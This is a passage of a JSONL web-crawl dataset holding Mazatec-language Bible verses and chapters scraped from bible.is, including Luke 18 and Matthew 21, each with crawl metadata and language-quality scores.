22","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/22","date":"2014-03-08T04:27:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653077\/warc\/CC-MAIN-20140305060733-00049-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":776,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8Xi nguì o̱kixi̱, ngats'iì kjoa̱ xi 'a̱n ma'ñót'aà takoàn nga sa̱ kjòtseé, i̱'ndei̱, k'oa̱á s'ín beè takoàn nga ni̱mé chjí‑la̱ mì k'oa̱à‑ne koni s'ín bexkoan Cristo Jesús xi otíxoma‑na nga ìsa̱ 'ñó tsato chjí‑la̱. Ngats'iì kjoa̱ koi, jyeé tsachrjenguia yije xi kjoa̱‑la̱ Cristo. Ta tjé beè takoàn mé‑ne nga ya̱ ma fìt'aà‑la̱ Cristo\nFilipenses 3:8\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3\/8","date":"2014-03-07T11:38:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999642306\/warc\/CC-MAIN-20140305060722-00050-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999719858,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 0.9999719858169556}","num_words":58,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3Mé ta̱ nda‑la̱ jè xi̱ta̱ ra kotá'yá ko̱ jñà xi̱ta̱ ra 'nchré jñà 'én‑la̱ Nainá ra tjí'ta xa̱jo̱n ra̱kìi̱, kjoa̱ ra 'sa̱ ko̱ka̱ma; ti̱'koa̱á mé ta̱ nda‑la̱ jñà xi̱ta̱ ra síhitjasòn koni 'sín nga tíchja̱ jñà 'én ra ya̱ tjí'ta, nga̱ jè ni̱chjin ra̱kìi̱, ijyeé tímachraña.\nApocalipsis 1:3\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/1\/3","date":"2014-03-11T22:01:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011294162\/warc\/CC-MAIN-20140305092134-00076-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 0.999993085861206}","num_words":51,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱'koa̱á tsi'kéna̱jmí jngo‑la̱ Jesús, kjoa̱ ra mangásòn nga machjeén‑ní nga mì kì si̱hindeé inìma̱‑ná, nga ni̱chjin nchijón‑ní ki̱nákjoa̱'ta‑lá Nainá. 2Kitsò‑la̱: ―Jngo na̱xi̱ndá, ya̱á tíjna jngo xi̱ta̱xá ra mì kì bexkón Nainá ti̱'koa̱ mì kì bexkón xi̱ta̱ ra kj'ií. 3Ti̱ya̱‑ni na̱xi̱ndá ra̱kìi̱, tíjna jngo ndí chjo̱ón ra ijye 'ken 'xi̱n‑la̱ ra fìjkon ki'ta jè xi̱ta̱xá ra̱kìi̱ nga tsò‑la̱: \"Tindajín‑ná kjoa̱ ra tjín‑na a̱'ta 'tse̱ xi̱ta̱ kondra̱‑na̱.\" 4Tanga jè xi̱ta̱xá, mì kì ndi̱to̱n tsikíndajín‑la̱. Tanga ra kjomà a̱skan, chaán isíkítsjen nga kitsò: \"Ni̱'sín mì kì bexkóo̱n Nainá, ti̱'koa̱ mì kì bexkóo̱n xi̱ta̱, 5tanga jè chjo̱ón ra̱kìi̱, sí 'ñó tísísi‑na, 'koa̱á ma‑ni nga kindájín‑la̱ mé‑ni nga mì ti̱ i̱ kj'i̱íjkon‑na, ko̱ mì ta̱ tsja 'a̱n si̱ìjti‑na.\" 6Kitsò Na̱'ín‑ná: ―Nda ti̱ná'ya koni 'sín tsò jngo xi̱ta̱xá ra mì tsa kixi̱ 'sín. 7Jè Nainá, ¿a mí tsa isa̱ ndi̱to̱n ki̱ìndajín‑la̱ jñà xi̱ta̱‑la̱ ra xá jahíjin‑ni ra ko̱ ni̱chjin ko̱ ni̱tje̱n 'ñó síjé'ta‑la̱? ¿A mí tsa isa̱ ndi̱to̱n si̱ìsin‑la̱? 'Koa̱á tixó jiòn‑ni̱. 8'Koa̱á xin‑no, isa̱á sasa ki̱ìndajín‑la̱. Tanga 'kia̱ nga kjí'i̱ india‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ¿a sakó‑isa‑na i̱ i̱sà'nde xi̱ta̱ ra makjiín‑la̱ a̱'ta tsa̱'a̱n? 9Jesús tsi'kéna̱jmí ìjngo‑la̱ kjoa̱ ra mangásòn 'tse̱ xi̱ta̱ ra kixi̱ tsò‑la̱ ijo‑la̱ nga bachrje‑ngi xi̱ta̱ ra kj'ií. 10―Jò xi̱ta̱ kijì ya̱ i̱ngo̱ ítjòn nga kiìchja̱'ta‑la̱ Nainá: jngo ra xi̱ta̱ fariseo, ko̱ jngo xi̱ta̱ ra síkíchjítjì tsajmì 'tse̱ xi̱ta̱xá Roma. 11Jè xi̱ta̱ fariseo, síjna kixi̱ kjòn‑ni, tíchja̱tjì ijo‑la̱, títsò: \"Tse kjo̱nda kata'se‑li Na̱'ìn, nga̱ mì tsa ko̱'siàn ra 'a̱n koni 'sín 'sín xi̱ta̱ ra kj'ií; nga xi̱ta̱ chijé, nga xi̱ta̱ 'tse̱n, ko̱ nga xi̱ta̱ chijngi; ko̱ nga mì tsa ko̱'sín 'siaa̱n koni 'sín 'sín jè xi̱ta̱ ra̱kìi̱ ra síkíchjítjì tsajmì. 12Ra 'a̱n jò 'ka̱ báti̱jnachjan nga jngo xomàna̱; tsja‑ná ra jngoyá 'kia̱ nga teya nga'tsì tsajmì ra sikíjnee̱.\" 13Tanga jè xi̱ta̱ ra síkíchjítjì tsajmì, kjiín síjna‑ni ra jè; nda majìn‑la̱ nga kjiítje̱n xko̱n ya̱ ján ngajmi; tà jé inìma̱‑la̱ 'bé‑la̱; nga tsò: \"¡Nainá, kata'se‑li kjo̱hi̱ma̱takòn ra a̱'ta tsa̱'a̱n nga xi̱ta̱ jé 'mì‑na!\" 14'Koa̱á xin‑no, jè xi̱ta̱ ra̱kìi̱, 'kia̱ nga kijì‑ni ni'ya‑la̱, ijyeé xi̱ta̱ kixi̱ kitsò‑ila̱ Nainá; tanga jè xi̱ta̱ fariseo, majìn. Tà nga̱tjì‑la̱, tsa yá ra ta jè 'nga si̱ìkíjna ijo‑la̱, ta isa̱á nangi si̱jna‑ni, ko̱ jè ra nangi si̱ìkíjna ijo‑la̱, isa̱á 'nga si̱jna jnchro. 15Jñà xi̱ta̱ ti̱'koa̱á 'jiìkó ndí i̱xti i̱tsíñá mé‑ni nga kátá'ta‑la̱ tsja. Tanga jñà xi̱ta̱‑la̱ Jesús ra ya̱ kotá'yá'ta‑la̱, 'kia̱ nga kijtse jñà xi̱ta̱ ra 'jiìkó ndí i̱xti, tsakátiko̱‑ní. 16Tanga jè Jesús kiìchja̱á‑la̱ jñà i̱xti; kitsò‑la̱ xi̱ta̱‑la̱: ―Ti̱'nde‑la jñà ndí i̱xti nga katanchrabá'ta‑na; kì jiòn batechjà‑la; jñà xi̱ta̱ ra ko̱'sín kjòn inìma̱‑la̱ koni 'sín kjòn 'tse̱ ndí i̱xti, ijyeé 'tse̱‑ní nga'tsì kjo̱nda ra tjín ya̱ ñánda̱ nga tíbatéxoma Nainá. 17Ngi kjo̱hixi̱í ra xian‑no, jè ra mì kì ko̱'sín tjín inìma̱‑la̱ koni 'tse̱ jñà ndí i̱xti nga ska̱ábé kjo̱nda‑la̱ Nainá nga jè katatéxoma‑la̱, mì kì ko̱ma kjoa̱ha'sen ya̱ ñánda̱ nga tíbatéxoma Nainá. 18Jngo ra xi̱ta̱ ítjòn iskonangi‑la̱ Jesús kitsò: ―Maestro, ra xi̱ta̱ nda 'mì‑li, ¿mé ra ma 'siaa̱n nga 'se̱‑na kjo̱binachon ra mì kì fehe'ta skanda ta kjiá‑nioo̱? 19Jesús kitsó‑la̱: ―¿Mé‑ni nga xi̱ta̱ nda 'mì‑ná? Nga̱ tsìn jngo xi̱ta̱ ra nda; ta̱ jngoó jè Nainá ra nda xi̱ta̱. 20Ijyeé tjíjin‑li kótsò kjo̱téxoma: \"Kì kjoa̱chijngi 'nì, kì xi̱ta̱ nì'kin, kì chijé 'nì, kì 'én ndiso fanè‑la̱ xi̱ta̱ ra kj'ií, nda jcha̱xkín na̱'ìn‑li ko̱ na̱‑li.\" 21Xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Tísíhitjasòn ijye‑ná nga'tsì kjoa̱ kìi̱ kó nga tísíjchá ijo‑na̱. 22'Kia̱ nga kií'nchré Jesús, kitsó‑la̱: ―Jngo kjoa̱ chija‑isa‑li: ta̱ti̱na ijyi nga'tsì tsajmì ra tjín‑li; 'ti̱‑la̱ xi̱ta̱ i̱ma̱ mé‑ni nga tse kjo̱nda 'se̱‑li ya̱ ján ngajmi. Ko̱ a̱kjòn nchrabátji̱ngi‑ná. 23Xi̱ta̱ ra̱kìi̱, 'kia̱ nga kií'nchré, tà kjobaá‑la̱, tà nga̱tjì‑la̱ 'ñó nchi̱ná. 24Jesús, 'kia̱ nga kijtse nga 'ñó ba ki'se‑la̱, kitsó‑ní: ―¡'Ñó chjá ka̱ma‑la̱ ra xi̱ta̱ nchi̱ná nga kjoa̱ha'sen ñánda̱ nga tíbatéxoma Nainá! 25'Ñó chjá ka̱ma‑la̱ nga kjoa̱à'sen‑jin; nga̱ skanda isa̱á‑la chiba chjá ka̱ma‑la̱ jngo cho̱ camello nga kjoa̱à'sen‑kjá ya̱ ñánda̱ nga ti̱'xá nindo ra tjahiña‑ni nikje. 26Jñà xi̱ta̱ ra kií'nchré kitsó‑ní: ―¿Yá xi̱ta̱‑ni ra ko̱ma ki̱tjokajin kjo̱hi'in tsa'koa̱? 27Jesús kitsó‑la̱: ―Jè kjoa̱ ra mì kì ma‑la̱ 'sín jñà xi̱ta̱, ra jè Nainá, ko̱maá‑la̱ ra jè. 28'Kia̱á kitsò Pedro: ―Ra ji̱n, kijmitákon ijyeé‑náji̱n mé ra tjín‑naji̱n nga ji̱ timatji̱ngi‑laji̱n. 29Jesús kitsó‑la̱: ―'Koa̱á xin kixi̱‑no, nga'tsì xi̱ta̱ ra isíkítsa̱jna ni'ya‑la̱, na̱'ìn‑la̱, 'ndse̱, chjo̱ón‑la̱, i̱xti‑la̱, nga mejèn‑la̱ ko̱'sín si̱ìjchá ijo‑la̱ koni 'sín nga batéxoma Nainá, 30nga'tsì ra isíkítsa̱jna jñà xi̱ta̱ kìi̱, isa̱á tse tjábé ngajo‑ila̱ jñà ni̱chjin ra titsa̱jneé 'ndi̱ 'ndi̱; ko̱ tjábé‑la̱ kjo̱binachon ra mì kì fehe'ta skanda ta kjiá‑nioo̱ jè i̱sà'nde ra sa nchrabá. 31Jesús kiìchja̱'taxìn‑la̱ xi̱ta̱‑la̱ ra tejò ma‑ni, kitsò‑la̱: ―'Ndi̱ 'ndi̱, ya̱á i̱nchimangié ya̱ na̱xi̱ndá Jerusalén; ya̱á ki̱tjasòn ijye nga'tsì kjoa̱ ra tjí'ta xa̱jo̱n a̱'ta tsa̱'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, koni 'sín tsikínda xa̱jo̱n xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 32Ya̱á si̱ìnga̱tsja‑na ya̱ a̱jin‑la̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío; ko̱ jñà xi̱ta̱ kìi̱ si̱ìsabà'tiín‑na; 'choó si̱ìko̱‑na; ki̱íchrájno‑na; 33ko̱já‑na, a̱kjòn si̱ì'ken‑na; tanga 'kia̱ nga ki̱jchò jàn ni̱chjin, kjoa̱áya india‑na. 34Tanga jñà xi̱ta̱‑la̱ mì kì kjòchi̱ya‑la̱ 'én ra tsi'kéna̱jmí‑la̱; isì'maá‑la̱; mì kì 'jaha'sen‑jin‑la̱ koni 'sín kitsò Jesús. 35'Kia̱ nga ijye ijchò chraña Jesús, ya̱ na̱xi̱ndá Jericó, jngo ndí xi̱ta̱ xka̱ tíjna ya̱ a̱ndi ndi̱yáa̱ nga tísíjé kjo̱tjò to̱n. 36Xi̱ta̱ ra̱kìi̱, 'kia̱ nga kií'nchré nga kjìn xi̱ta̱ i̱nchi'fa, iskonangi‑ní mé kjoa̱ ra tíma. 37'Kia̱á kitsò‑la̱ xi̱ta̱ nga jè Jesús, ra ya̱ Nazaret i̱'nde‑la̱, tí'fa; 38'kia̱á 'ñó kiìchja̱, kitsò: ―¡Jesús, ji̱ ra nakjoá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David, jcha̱hi̱ma̱takón‑ná! 39Jñà xi̱ta̱ ra tjíma ítjòn, tsakátiko̱‑ní nga jyò katijna; tanga ra jè, isa̱á 'ñó kiìchja̱‑isa nga kitsò: ―¡Jesús, ji̱ ra ya̱ nchrabá‑ni tje̱‑la̱ David, jcha̱hi̱ma̱takón‑ná! 40'Kia̱á tsasijna Jesús; kitsjá kjo̱hixi̱ nga katanchrabáko̱ jñà xi̱ta̱. 'Kia̱ nga ijchò kasi'ta chraña‑la̱, kitsó‑la̱: 41―¿Mé ra mejèn‑li nga sikó‑la? Jè xi̱ta̱ xka̱, kitsó‑ní: ―Na̱'ìn, mején‑na katatsíjen‑na. 42Jesús kitsó‑la̱: ―¡Katatsíjen‑ili! Ki‑ní nga kàmakjiín‑li nga kamanda‑ni. 43Xi̱ta̱ ra̱kìi̱, ndi̱to̱ón tsatsíjen‑ila̱, a̱kjòn kiìtji̱ngi‑la̱ Jesús; jeya isíkíjna Nainá. Nga'tsì xi̱ta̱ na̱xi̱ndá ra kijtse‑te kjoa̱ kìi̱, ti̱'koa̱á jeyaá isíkíjna Nainá.\nSan Lucas 18","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/18","date":"2014-03-09T13:08:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999678556\/warc\/CC-MAIN-20140305060758-00078-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":959,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.334,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14K'oa̱ ti̱s'ín bìtsi'ba‑nòje̱n ndí 'ndsè ko̱ ndí tichjaá, ko̱t'ìn‑là nga kàtasíxá jñà xi̱ta̱ xi ta jyò tjíma nga majìn‑la̱ síxá; ti̱'ñó ikon jñà xi indaà tjín ikon; ti̱chját'aà‑là jñà xi tsjìn‑la̱ nga'ñó ya̱ i̱jiìn ini̱ma̱‑la̱; ko̱ kàtas'e‑nò kjoa̱tsejta i̱t'aà ts'e̱ ngats'iì xi̱ta̱‑la̱ Nainá.\n1 Tesalonicenses 5:14\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/5\/14","date":"2014-03-15T12:38:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678697782\/warc\/CC-MAIN-20140313024457-00086-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000070333480835}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4'A̱n ra 'mì‑na Juan, 'a̱án tíbindá‑no xa̱jo̱n jiòn ra na̱xi̱ndá‑la̱ Cristo 'mì‑no ra ito i̱'nde titsa̱jna ya̱ nangi ra chja̱‑ni Asia. Jè katatsjá‑no kjo̱nda ko̱ kjo̱'nchán jè Nainá ra tíjna skanda ni̱chjin 'ndi̱, ko̱ jè ra tíjna‑ni skanda kjo'tsia̱, ko̱ jè ra 'sa̱ kj'i̱í india‑ni, ko̱ jñà Inìma̱ Tsje ra ito ma‑ni ra títsa̱jna ya̱ ngixko̱n jè ra tíjnasòn íxile̱ nga tíbatéxoma,\nApocalipsis 1:4\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/1\/4","date":"2014-03-13T21:02:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678682078\/warc\/CC-MAIN-20140313024442-00077-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.999986887,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 0.9999868869781494}","num_words":67,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2jiòn ra xá ko̱'sín ti̱'sa̱ kjotseé‑ni nga tsjahíjin‑no Nainá ra Na̱'ìn 'mì‑lá koni 'sín ta̱'koa̱ ijye tjíjin‑la̱; ko̱ ngi ko̱ó Inìma̱ Tsje‑la̱ kisìtsje‑no nga xi̱ta̱ tsje‑la̱ tsò‑no, mé‑ni nga si̱itjasòn‑la Jesucristo ko̱ mé‑ni nga ko̱tsje‑ni ijo‑no ra kjoa̱ 'tse̱ jé‑no koni tsa jè kjòn jní‑la̱ Jesucristo xa̱ájten‑jnó jiòn ra tsikíxten 'kia̱ nga 'ken. Tse kjo̱nda ko̱ tse kjo̱'nchán katasakó-isa‑la̱ inìma̱‑no.\n1 Pedro 1:2\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1\/2","date":"2014-03-08T04:12:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999652955\/warc\/CC-MAIN-20140305060732-00084-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999940395,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 0.9999940395355225}","num_words":65,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15Jñà na̱'mì ítjòn ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés kjokja̱án‑la̱ 'kia̱ nga kijtse jñà kjo̱xkón ra ki'sìn Jesús ko̱ 'kia̱ nga kií'nchré‑la̱ jñà ndí i̱xti ra 'ñó kiìchja̱ ya̱ ndi̱tsin i̱ngo̱ nga tsò: \"¡Jeya katijna jè ra ya̱ nchrabá‑ni tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David [nga̱ jè kíjna ngajo‑la̱]!\"\nSan Mateo 21:15\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21\/15","date":"2014-03-13T14:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678677514\/warc\/CC-MAIN-20140313024437-00070-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000046491622925}","num_words":58,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye kjo̱meè bijchó chrañà‑la̱ na̱xa̱ndá Jerusalén ijchò jngoò na̱xa̱ndá xi 'mì Betfagé ya̱ chrañàt'aà‑la̱ nindoò Yá Olivo. Jesús kisìkasén jò xi̱ta̱ xi kota'yàt'aà‑la̱. 2Kitsò‑la̱: ―Tanguió ján ndí na̱xa̱ndá i̱tsé xi kijnat'aà ján koa̱ ya̱ sakó jngoò‑nò orra̱ xi tjít'aà'ñó ko̱ ndí búrró ki'ndí‑la̱. Chíjnda̱'ñó koa̱ nchrohóko̱‑ná. 3Tsà yá xi kó ki̱tso̱‑nò, ko̱t'ìn‑là: \"Jè xó Na̱'èn‑ná ko̱chjeén‑la̱ koa̱ ni̱to̱ón xó si̱ìkasén‑ne.\" 4K'oa̱á s'ín komà mé‑ne nga tsitasòn‑ne koni s'ín kiskiì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, nga tsò: 5Ko̱t'ìn‑la̱ na̱xa̱ndá Sión: \"Chítsejèn‑là Xi̱ta̱ Ítjòn‑lè; nga ji̱í nchrobá katsejèn‑lè; i̱ma̱á kji; tínasòn jngoò‑la̱ búrró, jngoò ndí búrró i̱tsé xi ki'ndí‑la̱ cho̱ ch'á.\" 6Kiì jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, k'oa̱s'ín kisìkitasòn koni s'ín kisatiìxá‑la̱. 7K'e̱ nga ijchòko̱ ñánda tíjna Jesús jè orra̱ ko̱ ki'ndí‑la̱, jñà kisìkjeén nikje‑la̱ nga tsohójtsa‑la̱; i̱kjoàn tsibìjnasòn‑la̱ Jesús. 8Koa̱ jñà xi̱ta̱ xi kjìn ma‑ne tsohójngoò nikje‑la̱ ya̱ i̱ya ndi̱yá. Tjín i'nga xi chrja‑la̱ yá tsate, i̱kjoàn tsohójngoò i̱ya ndi̱yá. 9Jñà xi̱ta̱ xi tjíma ítjòn‑la̱ ko̱ xi tji̱ngui‑la̱ tsibíts'ia̱ nga 'ñó kiìchja̱, kitsò: ―¡Jeya kàtìjna jè xi ya̱ nchrobát'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga jè kíjna ngajo‑la̱]! ¡Mé ta ndaà‑la̱ jè xi nchrobá ngajo‑la̱ Na̱'èn‑ná! ¡Jeya choòn ján ngajmiì! 10K'e̱ nga jahas'en Jesús ya̱ na̱xa̱ndá Jerusalén ngats'iì xi̱ta̱ na̱xa̱ndá tà kjòxkón‑la̱, koa̱ kiskònangui‑la̱ xíkjín. Kitsò: ―¿Yá xi̱ta̱‑ne jè? 11Jñà xi̱ta̱ xi kjìn ma‑ne kitsò: ―Jè xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá xi Jesús 'mì xi Nazaret ts'e̱, ya̱ nangui Galilea. 12Jesús jahas'en ya̱ ndi̱tsin i̱ngo̱ ítjòn‑la̱ Nainá, tsachrje yije ngats'iì xi̱ta̱ xi ya̱ nchihotíjna ko̱ nchihotse tsojmì ya̱ ndi̱tsin i̱ngo̱. Kisìhitíkjá ími̱xa̱‑la̱ jñà xi̱ta̱ xi síkjatjìya to̱n ko̱ ti̱koa̱á kisìkatsjoò íxi̱le̱‑la̱ jñà xi otíjna ni̱se paloma. 13Kitsò‑la̱: ―Jè Xo̱jo̱n‑la̱ Nainá tsò‑né: \"Ni'ya‑na̱, ni'ya‑la̱ o̱chikoón k'oín.\" Ta̱nga jñò, nguijo‑la̱ xi̱ta̱ chijé titsa̱'nè. 14Nga ya̱ i̱ngo̱ ítjòn tíjna Jesús, ijchò kinchat'aà‑la̱ xi̱ta̱ xi mìkiì tsejèn‑la̱ ko̱ xi tsá'yá kjoàn; jè Jesús kisìndaà‑ne xi̱ta̱ koi. 15Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés kòkjan‑la̱ k'e̱ nga kijtseè kjo̱xkón xi kis'iìn Jesús ko̱ nga kiì'nchré 'én‑la̱ jñà ndí i̱xti xi chja̱ya i̱ya i̱ngo̱ ítjòn, nga tsò: \"¡Jeya kàtìjna jè xi ya̱ nchrobát'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga jè kíjna ngajo‑la̱]!\" 16K'e̱é kiìchja̱ xi̱ta̱ koi, kitsò‑la̱ Jesús: ―¿A na'yà‑né? ¿A ndaà tsò 'én xi chja̱ jñà i̱xti koi? Jesús kitsò: ―Jon, 'nchré‑ná. ¿A kj'eè bìxke̱jñoò Xo̱jo̱n‑la̱ Nainá nga tsò?: Jñà ndí i̱xti xi jtobá kjoàn ko̱ ki'ndí xi sa̱ oki, jñà‑né xi títsa̱jnandaà nga jeya si̱ìkíjna Nainá. 17Jesús ya̱á kisìkítsa̱jna jñà xi̱ta̱ koi, itjojiìn‑ne ya̱ na̱xa̱ndá ítjòn Jerusalén. Kiì ján na̱xa̱ndá Betania. Ya̱á kisìkjáya nga ni̱tje̱n. 18K'e̱ nga ta̱jñòya nga tífì‑ne Jerusalén, Jesús, kjòhojò‑la̱. 19Kijtseè jngoò yá‑la̱ toò iko̱ xi ya̱ chrañà i̱ndiì ndi̱yá síjna. Kiì katsejèn‑la̱ ta̱nga ni̱mé toò yijà‑la̱. Tà xka̱á tjín‑la̱. K'e̱é kitsò‑la̱ Jesús: ―Ni̱ ti̱ jngoò na̱chrjein ko̱ja̱‑lè toò. Koa̱ jè yá toò iko̱ ni̱to̱ón kixì. 20K'e̱ nga kijtseè jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, tà kjòxkón‑la̱. K'e̱é kiskònangui‑la̱ mé‑ne nga tà ni̱to̱n kixì‑ne jè yá‑la̱ toò iko̱. 21Jesús kitsò‑la̱: ―Xi o̱kixi̱, tsà ndaà mokjeiín‑nò i̱t'aà ts'a̱n, tsà mì jò tjín‑la̱ ini̱ma̱‑nò, ko̱maá‑nò nga k'oa̱s'ín s'e̱én koni s'ín kàsìkoa̱a jè yá iko̱; ti̱koa̱á ko̱maá‑nò k'oín‑là jè nindoò: \"Ti̱si̱xìn; ján ti̱katje̱n‑jiìn yijo‑lè ndáchikon.\" Ko̱ k'oa̱á s'ín ko̱ma. 22Jñò, tsà ndaà mokjeiín‑nò ni̱ta̱ mé xi si̱jé k'e̱ nga kítsi'ba, k'oa̱á s'ín tjoé‑nò. 23K'e̱ nga jye komà kjoa̱ koi, Jesús jahas'en ya̱ ndi̱tsin i̱ngo̱ ítjòn ko̱ k'e̱ nga tíhokóya‑la̱ xi̱ta̱ ijchòkon jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga‑la̱ jñà xi̱ta̱ judío. Kiskònangui‑la̱: ―¿Mé kjo̱tíxoma xi tsjá'nde‑lè koni s'ín 'nì? ¿Yá xi kitsjaà‑lè kjo̱tíxoma koi? 24Jesús kitsò‑la̱: ―Ti̱koa̱á 'a̱n skònangui jngoò‑nò kjoa̱. Jñò, tsà ko̱k'oín‑ná, ti̱koa̱á 'a̱n k'oa̱á xán‑nò yá xi kitsjaà‑na̱ kjo̱tíxoma koni s'ín s'iaàn. 25Jè Juan, k'e̱ nga kis'iìn bautizar xi̱ta̱, ¿yá xi kitsjaà‑la̱ kjo̱tíxoma? ¿A Nainá‑né xi tíjna ngajmiì, o xi tà xi̱ta̱‑né? Jñà xi̱ta̱ koi k'e̱é tsajoóya‑ne. Kitsò‑la̱ xíkjín: ―Tsà kixoán: \"Nainá kitsjaà‑la̱ kjo̱tíxoma\", ki̱tso̱‑ná: \"¿Mé‑ne mìkiì kòkjeiín‑nò i̱t'aà ts'e̱?\" 26Koa̱ tsà kixoán: \"I̱t'aà ts'e̱ xi̱ta̱‑né\", tsakjoòn‑ná tsà koi na̱chrjein‑la̱ jñá xi̱ta̱ na̱xa̱ndá ska̱àn‑ko̱‑ná, nga ngats'iì, nguì k'oa̱á tsò nga jè Juan, jngoò xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 27K'e̱é kiìchja̱, kitsò‑la̱ Jesús: ―Mì kì 'ya‑je̱n. Koa̱ jè Jesús kitsò‑la̱: ―Ti̱koa̱á 'a̱n mìkiì k'oa̱ xán‑nò yá xi kitsjaà‑na kjo̱tíxoma koni s'ín s'iaàn. 28Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Jñò, kó bixón? Jngoò xi̱ta̱ xi jò ma i̱xti x'i̱n‑la̱ kitsò jngoò k'a‑la̱ jngoò ti‑la̱: \"Na̱'èn, t'in, ti̱xá‑la̱ jè toò uva‑na̱.\" 29Ti jè kitsò: 